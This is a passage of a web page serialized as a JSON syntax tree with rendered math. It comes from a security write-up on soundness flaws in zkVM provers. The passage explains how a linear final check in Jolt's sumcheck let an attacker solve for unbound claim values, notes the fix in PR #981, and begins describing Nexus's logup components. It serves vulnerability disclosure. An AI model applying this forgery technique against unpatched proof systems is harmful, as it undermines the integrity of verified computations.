style":6437},[6436],[],{"type":24,"tag":90,"props":117853,"children":117855},{"className":117854},[6442,6443,6444,6445],[117856],{"type":24,"tag":90,"props":117857,"children":117859},{"className":117858},[6396,23384,6445],[117860],{"type":29,"value":6123},{"type":24,"tag":90,"props":117862,"children":117864},{"className":117863},[23541],[117865],{"type":29,"value":23544},{"type":24,"tag":90,"props":117867,"children":117869},{"className":117868},[6422],[117870],{"type":24,"tag":90,"props":117871,"children":117873},{"className":117872,"style":94960},[6427],[117874],{"type":24,"tag":90,"props":117875,"children":117876},{},[],{"type":29,"value":117878},") were not in the transcript, the ",{"type":24,"tag":32,"props":117880,"children":117882},{"className":117881},[6368,6369],[117883],{"type":24,"tag":90,"props":117884,"children":117886},{"className":117885},[6374],[117887],{"type":24,"tag":90,"props":117888,"children":117890},{"className":117889,"ariaHidden":6380},[6379],[117891],{"type":24,"tag":90,"props":117892,"children":117894},{"className":117893},[6385],[117895,117899],{"type":24,"tag":90,"props":117896,"children":117898},{"className":117897,"style":111847},[6390],[],{"type":24,"tag":90,"props":117900,"children":117902},{"className":117901},[6396],[117903,117908],{"type":24,"tag":90,"props":117904,"children":117906},{"className":117905,"style":116965},[6396,23384],[117907],{"type":29,"value":116968},{"type":24,"tag":90,"props":117909,"children":117911},{"className":117910},[6412],[117912],{"type":24,"tag":90,"props":117913,"children":117915},{"className":117914},[6417,23438],[117916,117945],{"type":24,"tag":90,"props":117917,"children":117919},{"className":117918},[6422],[117920,117940],{"type":24,"tag":90,"props":117921,"children":117923},{"className":117922,"style":95406},[6427],[117924],{"type":24,"tag":90,"props":117925,"children":117926},{"style":117600},[117927,117931],{"type":24,"tag":90,"props":117928,"children":117930},{"className":117929,"style":6437},[6436],[],{"type":24,"tag":90,"props":117932,"children":117934},{"className":117933},[6442,6443,6444,6445],[117935],{"type":24,"tag":90,"props":117936,"children":117938},{"className":117937},[6396,23384,6445],[117939],{"type":29,"value":6123},{"type":24,"tag":90,"props":117941,"children":117943},{"className":117942},[23541],[117944],{"type":29,"value":23544},{"type":24,"tag":90,"props":117946,"children":117948},{"className":117947},[6422],[117949],{"type":24,"tag":90,"props":117950,"children":117952},{"className":117951,"style":94960},[6427],[117953],{"type":24,"tag":90,"props":117954,"children":117955},{},[],{"type":29,"value":117957}," values are independent of ",{"type":24,"tag":32,"props":117959,"children":117961},{"className":117960},[6368,6369],[117962],{"type":24,"tag":90,"props":117963,"children":117965},{"className":117964},[6374],[117966],{"type":24,"tag":90,"props":117967,"children":117969},{"className":117968,"ariaHidden":6380},[6379],[117970],{"type":24,"tag":90,"props":117971,"children":117973},{"className":117972},[6385],[117974,117978],{"type":24,"tag":90,"props":117975,"children":117977},{"className":117976,"style":112874},[6390],[],{"type":24,"tag":90,"props":117979,"children":117981},{"className":117980},[6396],[117982,117987],{"type":24,"tag":90,"props":117983,"children":117985},{"className":117984,"style":95111},[6396,23384],[117986],{"type":29,"value":95114},{"type":24,"tag":90,"props":117988,"children":117990},{"className":117989},[6412],[117991],{"type":24,"tag":90,"props":117992,"children":117994},{"className":117993},[6417,23438],[117995,118024],{"type":24,"tag":90,"props":117996,"children":117998},{"className":117997},[6422],[117999,118019],{"type":24,"tag":90,"props":118000,"children":118002},{"className":118001,"style":95406},[6427],[118003],{"type":24,"tag":90,"props":118004,"children":118005},{"style":112306},[118006,118010],{"type":24,"tag":90,"props":118007,"children":118009},{"className":118008,"style":6437},[6436],[],{"type":24,"tag":90,"props":118011,"children":118013},{"className":118012},[6442,6443,6444,6445],[118014],{"type":24,"tag":90,"props":118015,"children":118017},{"className":118016},[6396,23384,6445],[118018],{"type":29,"value":6123},{"type":24,"tag":90,"props":118020,"children":118022},{"className":118021},[23541],[118023],{"type":29,"value":23544},{"type":24,"tag":90,"props":118025,"children":118027},{"className":118026},[6422],[118028],{"type":24,"tag":90,"props":118029,"children":118031},{"className":118030,"style":94960},[6427],[118032],{"type":24,"tag":90,"props":118033,"children":118034},{},[],{"type":29,"value":226},{"type":24,"tag":25,"props":118037,"children":118038},{},[118039],{"type":24,"tag":7711,"props":118040,"children":118041},{},[118042],{"type":29,"value":118043},"Why it's linear:",{"type":24,"tag":25,"props":118045,"children":118046},{},[118047,118049],{"type":29,"value":118048},"Due to the compression optimization (prover omits one less coefficient per round), the final verification equation traces back through the rounds and becomes linear in the input claim ",{"type":24,"tag":32,"props":118050,"children":118052},{"className":118051},[6368,6369],[118053],{"type":24,"tag":90,"props":118054,"children":118056},{"className":118055},[6374],[118057],{"type":24,"tag":90,"props":118058,"children":118060},{"className":118059,"ariaHidden":6380},[6379],[118061],{"type":24,"tag":90,"props":118062,"children":118064},{"className":118063},[6385],[118065,118069],{"type":24,"tag":90,"props":118066,"children":118068},{"className":118067,"style":23379},[6390],[],{"type":24,"tag":90,"props":118070,"children":118072},{"className":118071,"style":95111},[6396,23384],[118073],{"type":29,"value":95114},{"type":24,"tag":25,"props":118075,"children":118076},{},[118077],{"type":24,"tag":32,"props":118078,"children":118080},{"className":118079},[6368,6369],[118081],{"type":24,"tag":90,"props":118082,"children":118084},{"className":118083},[6374],[118085],{"type":24,"tag":90,"props":118086,"children":118088},{"className":118087,"ariaHidden":6380},[6379],[118089,118179,118205,118231],{"type":24,"tag":90,"props":118090,"children":118092},{"className":118091},[6385],[118093,118097,118166,118170,118175],{"type":24,"tag":90,"props":118094,"children":118096},{"className":118095,"style":112874},[6390],[],{"type":24,"tag":90,"props":118098,"children":118100},{"className":118099},[6396],[118101,118107],{"type":24,"tag":90,"props":118102,"children":118104},{"className":118103,"style":23916},[6396,23384],[118105],{"type":29,"value":118106},"C",{"type":24,"tag":90,"props":118108,"children":118110},{"className":118109},[6412],[118111],{"type":24,"tag":90,"props":118112,"children":118114},{"className":118113},[6417,23438],[118115,118155],{"type":24,"tag":90,"props":118116,"children":118118},{"className":118117},[6422],[118119,118150],{"type":24,"tag":90,"props":118120,"children":118123},{"className":118121,"style":118122},[6427],"height:0.3361em;",[118124],{"type":24,"tag":90,"props":118125,"children":118127},{"style":118126},"top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;",[118128,118132],{"type":24,"tag":90,"props":118129,"children":118131},{"className":118130,"style":6437},[6436],[],{"type":24,"tag":90,"props":118133,"children":118135},{"className":118134},[6442,6443,6444,6445],[118136],{"type":24,"tag":90,"props":118137,"children":118139},{"className":118138},[6396,6445],[118140],{"type":24,"tag":90,"props":118141,"children":118143},{"className":118142},[6396,29,6445],[118144],{"type":24,"tag":90,"props":118145,"children":118147},{"className":118146},[6396,6445],[118148],{"type":29,"value":118149},"final",{"type":24,"tag":90,"props":118151,"children":118153},{"className":118152},[23541],[118154],{"type":29,"value":23544},{"type":24,"tag":90,"props":118156,"children":118158},{"className":118157},[6422],[118159],{"type":24,"tag":90,"props":118160,"children":118162},{"className":118161,"style":94960},[6427],[118163],{"type":24,"tag":90,"props":118164,"children":118165},{},[],{"type":24,"tag":90,"props":118167,"children":118169},{"className":118168,"style":6573},[6475],[],{"type":24,"tag":90,"props":118171,"children":118173},{"className":118172},[6578],[118174],{"type":29,"value":5491},{"type":24,"tag":90,"props":118176,"children":118178},{"className":118177,"style":6573},[6475],[],{"type":24,"tag":90,"props":118180,"children":118182},{"className":118181},[6385],[118183,118187,118192,118196,118201],{"type":24,"tag":90,"props":118184,"children":118186},{"className":118185,"style":116960},[6390],[],{"type":24,"tag":90,"props":118188,"children":118190},{"className":118189},[6396,23384],[118191],{"type":29,"value":69},{"type":24,"tag":90,"props":118193,"children":118195},{"className":118194,"style":6476},[6475],[],{"type":24,"tag":90,"props":118197,"children":118199},{"className":118198},[6481],[118200],{"type":29,"value":113139},{"type":24,"tag":90,"props":118202,"children":118204},{"className":118203,"style":6476},[6475],[],{"type":24,"tag":90,"props":118206,"children":118208},{"className":118207},[6385],[118209,118213,118218,118222,118227],{"type":24,"tag":90,"props":118210,"children":118212},{"className":118211,"style":116989},[6390],[],{"type":24,"tag":90,"props":118214,"children":118216},{"className":118215,"style":95111},[6396,23384],[118217],{"type":29,"value":95114},{"type":24,"tag":90,"props":118219,"children":118221},{"className":118220,"style":6476},[6475],[],{"type":24,"tag":90,"props":118223,"children":118225},{"className":118224},[6481],[118226],{"type":29,"value":6767},{"type":24,"tag":90,"props":118228,"children":118230},{"className":118229,"style":6476},[6475],[],{"type":24,"tag":90,"props":118232,"children":118234},{"className":118233},[6385],[118235,118239],{"type":24,"tag":90,"props":118236,"children":118238},{"className":118237,"style":94792},[6390],[],{"type":24,"tag":90,"props":118240,"children":118242},{"className":118241},[6396,23384],[118243],{"type":29,"value":5617},{"type":24,"tag":25,"props":118245,"children":118246},{},[118247,118248,118287,118289,118314,118316,118446,118448,118569],{"type":29,"value":117713},{"type":24,"tag":32,"props":118249,"children":118251},{"className":118250},[6368,6369],[118252],{"type":24,"tag":90,"props":118253,"children":118255},{"className":118254},[6374],[118256],{"type":24,"tag":90,"props":118257,"children":118259},{"className":118258,"ariaHidden":6380},[6379],[118260],{"type":24,"tag":90,"props":118261,"children":118263},{"className":118262},[6385],[118264,118268,118273,118278,118282],{"type":24,"tag":90,"props":118265,"children":118267},{"className":118266,"style":116932},[6390],[],{"type":24,"tag":90,"props":118269,"children":118271},{"className":118270},[6396,23384],[118272],{"type":29,"value":69},{"type":24,"tag":90,"props":118274,"children":118276},{"className":118275},[6507],[118277],{"type":29,"value":6510},{"type":24,"tag":90,"props":118279,"children":118281},{"className":118280,"style":6514},[6475],[],{"type":24,"tag":90,"props":118283,"children":118285},{"className":118284},[6396,23384],[118286],{"type":29,"value":5617},{"type":29,"value":118288}," are determined by the transcript (independent of ",{"type":24,"tag":32,"props":118290,"children":118292},{"className":118291},[6368,6369],[118293],{"type":24,"tag":90,"props":118294,"children":118296},{"className":118295},[6374],[118297],{"type":24,"tag":90,"props":118298,"children":118300},{"className":118299,"ariaHidden":6380},[6379],[118301],{"type":24,"tag":90,"props":118302,"children":118304},{"className":118303},[6385],[118305,118309],{"type":24,"tag":90,"props":118306,"children":118308},{"className":118307,"style":23379},[6390],[],{"type":24,"tag":90,"props":118310,"children":118312},{"className":118311,"style":95111},[6396,23384],[118313],{"type":29,"value":95114},{"type":29,"value":118315},"). The verifier checks that ",{"type":24,"tag":32,"props":118317,"children":118319},{"className":118318},[6368,6369],[118320],{"type":24,"tag":90,"props":118321,"children":118323},{"className":118322},[6374],[118324],{"type":24,"tag":90,"props":118325,"children":118327},{"className":118326,"ariaHidden":6380},[6379],[118328,118414],{"type":24,"tag":90,"props":118329,"children":118331},{"className":118330},[6385],[118332,118336,118401,118405,118410],{"type":24,"tag":90,"props":118333,"children":118335},{"className":118334,"style":112874},[6390],[],{"type":24,"tag":90,"props":118337,"children":118339},{"className":118338},[6396],[118340,118345],{"type":24,"tag":90,"props":118341,"children":118343},{"className":118342,"style":23916},[6396,23384],[118344],{"type":29,"value":118106},{"type":24,"tag":90,"props":118346,"children":118348},{"className":118347},[6412],[118349],{"type":24,"tag":90,"props":118350,"children":118352},{"className":118351},[6417,23438],[118353,118390],{"type":24,"tag":90,"props":118354,"children":118356},{"className":118355},[6422],[118357,118385],{"type":24,"tag":90,"props":118358,"children":118360},{"className":118359,"style":118122},[6427],[118361],{"type":24,"tag":90,"props":118362,"children":118363},{"style":118126},[118364,118368],{"type":24,"tag":90,"props":118365,"children":118367},{"className":118366,"style":6437},[6436],[],{"type":24,"tag":90,"props":118369,"children":118371},{"className":118370},[6442,6443,6444,6445],[118372],{"type":24,"tag":90,"props":118373,"children":118375},{"className":118374},[6396,6445],[118376],{"type":24,"tag":90,"props":118377,"children":118379},{"className":118378},[6396,29,6445],[118380],{"type":24,"tag":90,"props":118381,"children":118383},{"className":118382},[6396,6445],[118384],{"type":29,"value":118149},{"type":24,"tag":90,"props":118386,"children":118388},{"className":118387},[23541],[118389],{"type":29,"value":23544},{"type":24,"tag":90,"props":118391,"children":118393},{"className":118392},[6422],[118394],{"type":24,"tag":90,"props":118395,"children":118397},{"className":118396,"style":94960},[6427],[118398],{"type":24,"tag":90,"props":118399,"children":118400},{},[],{"type":24,"tag":90,"props":118402,"children":118404},{"className":118403,"style":6573},[6475],[],{"type":24,"tag":90,"props":118406,"children":118408},{"className":118407},[6578],[118409],{"type":29,"value":5491},{"type":24,"tag":90,"props":118411,"children":118413},{"className":118412,"style":6573},[6475],[],{"type":24,"tag":90,"props":118415,"children":118417},{"className":118416},[6385],[118418,118422,118432,118437],{"type":24,"tag":90,"props":118419,"children":118421},{"className":118420,"style":96290},[6390],[],{"type":24,"tag":90,"props":118423,"children":118425},{"className":118424},[6396,29],[118426],{"type":24,"tag":90,"props":118427,"children":118429},{"className":118428},[6396],[118430],{"type":29,"value":118431},"expected",{"type":24,"tag":90,"props":118433,"children":118435},{"className":118434,"style":94877},[6396],[118436],{"type":29,"value":5482},{"type":24,"tag":90,"props":118438,"children":118440},{"className":118439},[6396,29],[118441],{"type":24,"tag":90,"props":118442,"children":118444},{"className":118443},[6396],[118445],{"type":29,"value":39364},{"type":29,"value":118447}," (from PCS opening), this becomes ",{"type":24,"tag":32,"props":118449,"children":118451},{"className":118450},[6368,6369],[118452],{"type":24,"tag":90,"props":118453,"children":118455},{"className":118454},[6374],[118456],{"type":24,"tag":90,"props":118457,"children":118459},{"className":118458,"ariaHidden":6380},[6379],[118460,118486,118512,118538],{"type":24,"tag":90,"props":118461,"children":118463},{"className":118462},[6385],[118464,118468,118473,118477,118482],{"type":24,"tag":90,"props":118465,"children":118467},{"className":118466,"style":116960},[6390],[],{"type":24,"tag":90,"props":118469,"children":118471},{"className":118470},[6396,23384],[118472],{"type":29,"value":69},{"type":24,"tag":90,"props":118474,"children":118476},{"className":118475,"style":6476},[6475],[],{"type":24,"tag":90,"props":118478,"children":118480},{"className":118479},[6481],[118481],{"type":29,"value":113139},{"type":24,"tag":90,"props":118483,"children":118485},{"className":118484,"style":6476},[6475],[],{"type":24,"tag":90,"props":118487,"children":118489},{"className":118488},[6385],[118490,118494,118499,118503,118508],{"type":24,"tag":90,"props":118491,"children":118493},{"className":118492,"style":116989},[6390],[],{"type":24,"tag":90,"props":118495,"children":118497},{"className":118496,"style":95111},[6396,23384],[118498],{"type":29,"value":95114},{"type":24,"tag":90,"props":118500,"children":118502},{"className":118501,"style":6476},[6475],[],{"type":24,"tag":90,"props":118504,"children":118506},{"className":118505},[6481],[118507],{"type":29,"value":6767},{"type":24,"tag":90,"props":118509,"children":118511},{"className":118510,"style":6476},[6475],[],{"type":24,"tag":90,"props":118513,"children":118515},{"className":118514},[6385],[118516,118520,118525,118529,118534],{"type":24,"tag":90,"props":118517,"children":118519},{"className":118518,"style":94792},[6390],[],{"type":24,"tag":90,"props":118521,"children":118523},{"className":118522},[6396,23384],[118524],{"type":29,"value":5617},{"type":24,"tag":90,"props":118526,"children":118528},{"className":118527,"style":6573},[6475],[],{"type":24,"tag":90,"props":118530,"children":118532},{"className":118531},[6578],[118533],{"type":29,"value":5491},{"type":24,"tag":90,"props":118535,"children":118537},{"className":118536,"style":6573},[6475],[],{"type":24,"tag":90,"props":118539,"children":118541},{"className":118540},[6385],[118542,118546,118555,118560],{"type":24,"tag":90,"props":118543,"children":118545},{"className":118544,"style":96290},[6390],[],{"type":24,"tag":90,"props":118547,"children":118549},{"className":118548},[6396,29],[118550],{"type":24,"tag":90,"props":118551,"children":118553},{"className":118552},[6396],[118554],{"type":29,"value":118431},{"type":24,"tag":90,"props":118556,"children":118558},{"className":118557,"style":94877},[6396],[118559],{"type":29,"value":5482},{"type":24,"tag":90,"props":118561,"children":118563},{"className":118562},[6396,29],[118564],{"type":24,"tag":90,"props":118565,"children":118567},{"className":118566},[6396],[118568],{"type":29,"value":39364},{"type":29,"value":226},{"type":24,"tag":25,"props":118571,"children":118572},{},[118573],{"type":29,"value":118574},"Because multiple claims are coupled across verification stages, the attacker may need to adjust a small set of claim values simultaneously to satisfy all affected constraints.",{"type":24,"tag":25,"props":118576,"children":118577},{},[118578],{"type":29,"value":118579},"This can be exploited by solving a small linear system over a handful of unbound claim values so all affected checks pass simultaneously.",{"type":24,"tag":25,"props":118581,"children":118582},{},[118583,118588,118590],{"type":24,"tag":7711,"props":118584,"children":118585},{},[118586],{"type":29,"value":118587},"Status:",{"type":29,"value":118589}," Fixed on October 3, 2025 via ",{"type":24,"tag":69,"props":118591,"children":118594},{"href":118592,"rel":118593},"https://github.com/a16z/jolt/pull/981",[73],[118595],{"type":29,"value":118596},"PR #981",{"type":24,"tag":20586,"props":118598,"children":118599},{},[],{"type":24,"tag":1019,"props":118601,"children":118603},{"id":118602},"nexus",[118604],{"type":29,"value":109696},{"type":24,"tag":25,"props":118606,"children":118607},{},[118608],{"type":29,"value":118609},"Nexus is a zkVM built on the Stwo prover (from StarkWare). It uses STARKs with logup lookup arguments.",{"type":24,"tag":25,"props":118611,"children":118612},{},[118613,118615,118620],{"type":29,"value":118614},"Nexus splits verification into ",{"type":24,"tag":7711,"props":118616,"children":118617},{},[118618],{"type":29,"value":118619},"components",{"type":29,"value":118621}," such as instruction execution, memory, registers, etc. Each component handles a subset of constraints.",{"type":24,"tag":25,"props":118623,"children":118624},{},[118625,118627,118632],{"type":29,"value":118626},"Each component emits and consumes lookup tuples. The component's ",{"type":24,"tag":32,"props":118628,"children":118630},{"className":118629},[],[118631],{"type":29,"value":116741},{"type":29,"value":118633}," summarizes its net contribution:",{"type":24,"tag":25,"props":118635,"children":118636},{},[118637],{"type":24,"tag":32,"props":118638,"children":118640},{"className":118639},[6368,6369],[118641],{"type":24,"tag":90,"props":118642,"children":118644},{"className":118643},[6374],[118645],{"type":24,"tag":90,"props":118646,"children":118648},{"className":118647,"ariaHidden":6380},[6379],[118649,118745,118994],{"type":24,"tag":90,"props":118650,"children":118652},{"className":118651},[6385],[118653,118657,118666,118671,118732,118736,118741],{"type":24,"tag":90,"props":118654,"children":118656},{"className":118655,"style":96290},[6390],[],{"type":24,"tag":90,"props":118658,"children":118660},{"className":118659},[6396,29],[118661],{"type":24,"tag":90,"props":118662,"children":118664},{"className":118663},[6396],[118665],{"type":29,"value":115970},{"type":24,"tag":90,"props":118667,"children":118669},{"className":118668,"style":94877},[6396],[118670],{"type":29,"value":5482},{"type":24,"tag":90,"props":118672,"children":118674},{"className":118673},[6396],[118675,118684],{"type":24,"tag":90,"props":118676,"children":118678},{"className":118677},[6396,29],[118679],{"type":24,"tag":90,"props":118680,"children":118682},{"className":118681},[6396],[118683],{"type":29,"value":78462},{"type":24,"tag":90,"props":118685,"children":118687},{"className":118686},[6412],[118688],{"type":24,"tag":90,"props":118689,"children":118691},{"className":118690},[6417,23438],[118692,118721],{"type":24,"tag":90,"props":118693,"children":118695},{"className":118694},[6422],[118696,118716],{"type":24,"tag":90,"props":118697,"children":118699},{"className":118698,"style":95406},[6427],[118700],{"type":24,"tag":90,"props":118701,"children":118702},{"style":116007},[118703,118707],{"type":24,"tag":90,"props":118704,"children":118706},{"className":118705,"style":6437},[6436],[],{"type":24,"tag":90,"props":118708,"children":118710},{"className":118709},[6442,6443,6444,6445],[118711],{"type":24,"tag":90,"props":118712,"children":118714},{"className":118713},[6396,23384,6445],[118715],{"type":29,"value":6123},{"type":24,"tag":90,"props":118717,"children":118719},{"className":118718},[23541],[118720],{"type":29,"value":23544},{"type":24,"tag":90,"props":118722,"children":118724},{"className":118723},[6422],[118725],{"type":24,"tag":90,"props":118726,"children":118728},{"className":118727,"style":94960},[6427],[118729],{"type":24,"tag":90,"props":118730,"children":118731},{},[],{"type":24,"tag":90,"props":118733,"children":118735},{"className":118734,"style":6573},[6475],[],{"type":24,"tag":90,"props":118737,"children":118739},{"className":118738},[6578],[118740],{"type":29,"value":5491},{"type":24,"tag":90,"props":118742,"children":118744},{"className":118743,"style":6573},[6475],[],{"type":24,"tag":90,"props":118746,"children":118748},{"className":118747},[6385],[118749,118754,118811,118815,118981,118985,118990],{"type":24,"tag":90,"props":118750,"children":118753},{"className":118751,"style":118752},[6390],"height:1.4734em;vertical-align:-0.6283em;",[],{"type":24,"tag":90,"props":118755,"children":118757},{"className":118756},[23420],[118758,118763],{"type":24,"tag":90,"props":118759,"children":118761},{"className":118760,"style":23427},[23420,23425,23426],[118762],{"type":29,"value":110672},{"type":24,"tag":90,"props":118764,"children":118766},{"className":118765},[6412],[118767],{"type":24,"tag":90,"props":118768,"children":118770},{"className":118769},[6417,23438],[118771,118800],{"type":24,"tag":90,"props":118772,"children":118774},{"className":118773},[6422],[118775,118795],{"type":24,"tag":90,"props":118776,"children":118778},{"className":118777,"style":116084},[6427],[118779],{"type":24,"tag":90,"props":118780,"children":118781},{"style":23451},[118782,118786],{"type":24,"tag":90,"props":118783,"children":118785},{"className":118784,"style":6437},[6436],[],{"type":24,"tag":90,"props":118787,"children":118789},{"className":118788},[6442,6443,6444,6445],[118790],{"type":24,"tag":90,"props":118791,"children":118793},{"className":118792,"style":116100},[6396,23384,6445],[118794],{"type":29,"value":11032},{"type":24,"tag":90,"props":118796,"children":118798},{"className":118797},[23541],[118799],{"type":29,"value":23544},{"type":24,"tag":90,"props":118801,"children":118803},{"className":118802},[6422],[118804],{"type":24,"tag":90,"props":118805,"children":118807},{"className":118806,"style":116115},[6427],[118808],{"type":24,"tag":90,"props":118809,"children":118810},{},[],{"type":24,"tag":90,"props":118812,"children":118814},{"className":118813,"style":6514},[6475],[],{"type":24,"tag":90,"props":118816,"children":118818},{"className":118817},[6396],[118819,118823,118977],{"type":24,"tag":90,"props":118820,"children":118822},{"className":118821},[23513,115395],[],{"type":24,"tag":90,"props":118824,"children":118826},{"className":118825},[115400],[118827],{"type":24,"tag":90,"props":118828,"children":118830},{"className":118829},[6417,23438],[118831,118965],{"type":24,"tag":90,"props":118832,"children":118834},{"className":118833},[6422],[118835,118960],{"type":24,"tag":90,"props":118836,"children":118838},{"className":118837,"style":115413},[6427],[118839,118929,118940],{"type":24,"tag":90,"props":118840,"children":118841},{"style":115417},[118842,118846],{"type":24,"tag":90,"props":118843,"children":118845},{"className":118844,"style":114048},[6436],[],{"type":24,"tag":90,"props":118847,"children":118849},{"className":118848},[6442,6443,6444,6445],[118850],{"type":24,"tag":90,"props":118851,"children":118853},{"className":118852},[6396,6445],[118854,118859,118864],{"type":24,"tag":90,"props":118855,"children":118857},{"className":118856,"style":115434},[6396,23384,6445],[118858],{"type":29,"value":115437},{"type":24,"tag":90,"props":118860,"children":118862},{"className":118861},[6481,6445],[118863],{"type":29,"value":6456},{"type":24,"tag":90,"props":118865,"children":118867},{"className":118866},[6396,6445],[118868,118878],{"type":24,"tag":90,"props":118869,"children":118871},{"className":118870},[6396,29,6445],[118872],{"type":24,"tag":90,"props":118873,"children":118875},{"className":118874},[6396,6445],[118876],{"type":29,"value":118877},"produced",{"type":24,"tag":90,"props":118879,"children":118881},{"className":118880},[6412],[118882],{"type":24,"tag":90,"props":118883,"children":118885},{"className":118884},[6417,23438],[118886,118917],{"type":24,"tag":90,"props":118887,"children":118889},{"className":118888},[6422],[118890,118912],{"type":24,"tag":90,"props":118891,"children":118894},{"className":118892,"style":118893},[6427],"height:0.2052em;",[118895],{"type":24,"tag":90,"props":118896,"children":118898},{"style":118897},"top:-2.2341em;margin-right:0.0714em;",[118899,118903],{"type":24,"tag":90,"props":118900,"children":118902},{"className":118901,"style":110737},[6436],[],{"type":24,"tag":90,"props":118904,"children":118906},{"className":118905},[6442,110742,110743,6445],[118907],{"type":24,"tag":90,"props":118908,"children":118910},{"className":118909,"style":116100},[6396,23384,6445],[118911],{"type":29,"value":11032},{"type":24,"tag":90,"props":118913,"children":118915},{"className":118914},[23541],[118916],{"type":29,"value":23544},{"type":24,"tag":90,"props":118918,"children":118920},{"className":118919},[6422],[118921],{"type":24,"tag":90,"props":118922,"children":118925},{"className":118923,"style":118924},[6427],"height:0.4048em;",[118926],{"type":24,"tag":90,"props":118927,"children":118928},{},[],{"type":24,"tag":90,"props":118930,"children":118931},{"style":115450},[118932,118936],{"type":24,"tag":90,"props":118933,"children":118935},{"className":118934,"style":114048},[6436],[],{"type":24,"tag":90,"props":118937,"children":118939},{"className":118938,"style":115460},[115459],[],{"type":24,"tag":90,"props":118941,"children":118942},{"style":115464},[118943,118947],{"type":24,"tag":90,"props":118944,"children":118946},{"className":118945,"style":114048},[6436],[],{"type":24,"tag":90,"props":118948,"children":118950},{"className":118949},[6442,6443,6444,6445],[118951],{"type":24,"tag":90,"props":118952,"children":118954},{"className":118953},[6396,6445],[118955],{"type":24,"tag":90,"props":118956,"children":118958},{"className":118957},[6396,6445],[118959],{"type":29,"value":534},{"type":24,"tag":90,"props":118961,"children":118963},{"className":118962},[23541],[118964],{"type":29,"value":23544},{"type":24,"tag":90,"props":118966,"children":118968},{"className":118967},[6422],[118969],{"type":24,"tag":90,"props":118970,"children":118973},{"className":118971,"style":118972},[6427],"height:0.6283em;",[118974],{"type":24,"tag":90,"props":118975,"children":118976},{},[],{"type":24,"tag":90,"props":118978,"children":118980},{"className":118979},[23535,115395],[],{"type":24,"tag":90,"props":118982,"children":118984},{"className":118983,"style":6476},[6475],[],{"type":24,"tag":90,"props":118986,"children":118988},{"className":118987},[6481],[118989],{"type":29,"value":6456},{"type":24,"tag":90,"props":118991,"children":118993},{"className":118992,"style":6476},[6475],[],{"type":24,"tag":90,"props":118995,"children":118997},{"className":118996},[6385],[118998,119002,119059,119063],{"type":24,"tag":90,"props":118999,"children":119001},{"className":119000,"style":116309},[6390],[],{"type":24,"tag":90,"props":119003,"children":119005},{"className":119004},[23420],[119006,119011],{"type":24,"tag":90,"props":119007,"children":119009},{"className":119008,"style":23427},[23420,23425,23426],[119010],{"type":29,"value":110672},{"type":24,"tag":90,"props":119012,"children":119014},{"className":119013},[6412],[119015],{"type":24,"tag":90,"props":119016,"children":119018},{"className":119017},[6417,23438],[119019,119048],{"type":24,"tag":90,"props":119020,"children":119022},{"className":119021},[6422],[119023,119043],{"type":24,"tag":90,"props":119024,"children":119026},{"className":119025,"style":115549},[6427],[119027],{"type":24,"tag":90,"props":119028,"children":119029},{"style":23451},[119030,119034],{"type":24,"tag":90,"props":119031,"children":119033},{"className":119032,"style":6437},[6436],[],{"type":24,"tag":90,"props":119035,"children":119037},{"className":119036},[6442,6443,6444,6445],[119038],{"type":24,"tag":90,"props":119039,"children":119041},{"className":119040,"style":96306},[6396,23384,6445],[119042],{"type":29,"value":90514},{"type":24,"tag":90,"props":119044,"children":119046},{"className":119045},[23541],[119047],{"type":29,"value":23544},{"type":24,"tag":90,"props":119049,"children":119051},{"className":119050},[6422],[119052],{"type":24,"tag":90,"props":119053,"children":119055},{"className":119054,"style":116364},[6427],[119056],{"type":24,"tag":90,"props":119057,"children":119058},{},[],{"type":24,"tag":90,"props":119060,"children":119062},{"className":119061,"style":6514},[6475],[],{"type":24,"tag":90,"props":119064,"children":119066},{"className":119065},[6396],[119067,119071,119221],{"type":24,"tag":90,"props":119068,"children":119070},{"className":119069},[23513,115395],[],{"type":24,"tag":90,"props":119072,"children":119074},{"className":119073},[115400],[119075],{"type":24,"tag":90,"props":119076,"children":119078},{"className":119077},[6417,23438],[119079,119210],{"type":24,"tag":90,"props":119080,"children":119082},{"className":119081},[6422],[119083,119205],{"type":24,"tag":90,"props":119084,"children":119086},{"className":119085,"style":115413},[6427],[119087,119174,119185],{"type":24,"tag":90,"props":119088,"children":119089},{"style":115417},[119090,119094],{"type":24,"tag":90,"props":119091,"children":119093},{"className":119092,"style":114048},[6436],[],{"type":24,"tag":90,"props":119095,"children":119097},{"className":119096},[6442,6443,6444,6445],[119098],{"type":24,"tag":90,"props":119099,"children":119101},{"className":119100},[6396,6445],[119102,119107,119112],{"type":24,"tag":90,"props":119103,"children":119105},{"className":119104,"style":115434},[6396,23384,6445],[119106],{"type":29,"value":115437},{"type":24,"tag":90,"props":119108,"children":119110},{"className":119109},[6481,6445],[119111],{"type":29,"value":6456},{"type":24,"tag":90,"props":119113,"children":119115},{"className":119114},[6396,6445],[119116,119126],{"type":24,"tag":90,"props":119117,"children":119119},{"className":119118},[6396,29,6445],[119120],{"type":24,"tag":90,"props":119121,"children":119123},{"className":119122},[6396,6445],[119124],{"type":29,"value":119125},"consumed",{"type":24,"tag":90,"props":119127,"children":119129},{"className":119128},[6412],[119130],{"type":24,"tag":90,"props":119131,"children":119133},{"className":119132},[6417,23438],[119134,119163],{"type":24,"tag":90,"props":119135,"children":119137},{"className":119136},[6422],[119138,119158],{"type":24,"tag":90,"props":119139,"children":119141},{"className":119140,"style":114209},[6427],[119142],{"type":24,"tag":90,"props":119143,"children":119144},{"style":116454},[119145,119149],{"type":24,"tag":90,"props":119146,"children":119148},{"className":119147,"style":110737},[6436],[],{"type":24,"tag":90,"props":119150,"children":119152},{"className":119151},[6442,110742,110743,6445],[119153],{"type":24,"tag":90,"props":119154,"children":119156},{"className":119155,"style":96306},[6396,23384,6445],[119157],{"type":29,"value":90514},{"type":24,"tag":90,"props":119159,"children":119161},{"className":119160},[23541],[119162],{"type":29,"value":23544},{"type":24,"tag":90,"props":119164,"children":119166},{"className":119165},[6422],[119167],{"type":24,"tag":90,"props":119168,"children":119170},{"className":119169,"style":116481},[6427],[119171],{"type":24,"tag":90,"props":119172,"children":119173},{},[],{"type":24,"tag":90,"props":119175,"children":119176},{"style":115450},[119177,119181],{"type":24,"tag":90,"props":119178,"children":119180},{"className":119179,"style":114048},[6436],[],{"type":24,"tag":90,"props":119182,"children":119184},{"className":119183,"style":115460},[115459],[],{"type":24,"tag":90,"props":119186,"children":119187},{"style":115464},[119188,119192],{"type":24,"tag":90,"props":119189,"children":119191},{"className":119190,"style":114048},[6436],[],{"type":24,"tag":90,"props":119193,"children":119195},{"className":119194},[6442,6443,6444,6445],[119196],{"type":24,"tag":90,"props":119